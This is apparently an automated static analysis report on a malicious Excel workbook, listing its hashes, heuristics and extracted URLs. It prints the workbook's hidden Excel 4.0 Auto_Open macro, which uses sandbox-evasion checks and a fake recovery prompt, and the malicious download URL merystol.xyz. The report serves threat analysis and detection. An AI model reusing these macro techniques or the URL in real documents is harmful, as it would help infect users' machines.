Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c0bccb8d47457cc…

MALICIOUS

Office (OLE)

181.0 KB Created: 2020-02-14 06:29:18 Authoring application: Microsoft Excel First seen: 2020-09-24
MD5: b1f90871c78ce93bbea4233675deb3c4 SHA-1: 36df63d4958fdb6d7ec8911a796656e47a2d7c90 SHA-256: 6c0bccb8d47457cc8b3c293e9a1bca069aff3719523e19c7597c15b3c27c4bd8
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding. The macros utilize dangerous formula APIs, including a RUN function, indicating an attempt to execute arbitrary code. The presence of an unknown URL suggests a potential download or redirection target for the payload.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://merystol.xyz/DVkjbsdv37 In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2103 bytes
SHA-256: f78887a8fb4cb56a6843cb6f39e7b3f8abab5423e46fd5e15b513263f9cf0161
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  KHDBVkh
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  KHDBVkh!A1 
' 0018     29 LABEL : Cell Value, String Constant - DSJVbsd len=7 ptgRef3d  KHDBVkh!C1 
' 0018     32 LABEL : Cell Value, String Constant - fgsb4g len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00c\x00f\x00\x18\x00\x18\x00'
' 0018     32 LABEL : Cell Value, String Constant - klaudshflu len=7 ptgRef3d  KHDBVkh!B3 
' 0018     30 LABEL : Cell Value, String Constant - sdhbjfa2 len=7 ptgRef3d  KHDBVkh!B1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KHDBVkh,A1,"IF(ALERT("We found a problem with some content. Do you want to try to recover as much as we can?",1),,CLOSE(TRUE))",""
'  KHDBVkh,B1,"IF(ISNUMBER(SEARCH("LOS", Sheet!Y103)),GOTO(DSJVbsd),ON.TIME(NOW()+"00:00:02","klaudshflu"))",""
'  KHDBVkh,C1,"FORMULA.FILL( Sheet!Y100, KHDBVkh!C5)",""
'  KHDBVkh,A2,"IF(GET.WORKSPACE(19),,CLOSE(TRUE))",""
'  KHDBVkh,B2,RETURN(),""
'  KHDBVkh,C2,"FORMULA.FILL( Sheet!Y101, KHDBVkh!C6)",""
'  KHDBVkh,A3,"IF(GET.WORKSPACE(42),,CLOSE(TRUE))",""
'  KHDBVkh,B3,"IF(ISNUMBER(SEARCH("LOS", Sheet!Y103)),GOTO(DSJVbsd),ON.TIME(NOW()+"00:00:02","sdhbjfa2"))",""
'  KHDBVkh,C3,"FORMULA.FILL( Sheet!Y102, KHDBVkh!C7)",""
'  KHDBVkh,A4,"IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),ON.TIME(NOW()+"00:00:02","sdhbjfa2"),CLOSE(TRUE))",""
'  KHDBVkh,B4,RETURN(),""
'  KHDBVkh,C4,"FORMULA.FILL( Sheet!Y103, KHDBVkh!C8)",""
'  KHDBVkh,A5,RETURN(),""
' 0876    131 DCONN : Data Connection
'  ASCII:
'   Connection
'   https://merystol.xyz/DVkjbsdv37
'   Sheet1!fgsb4g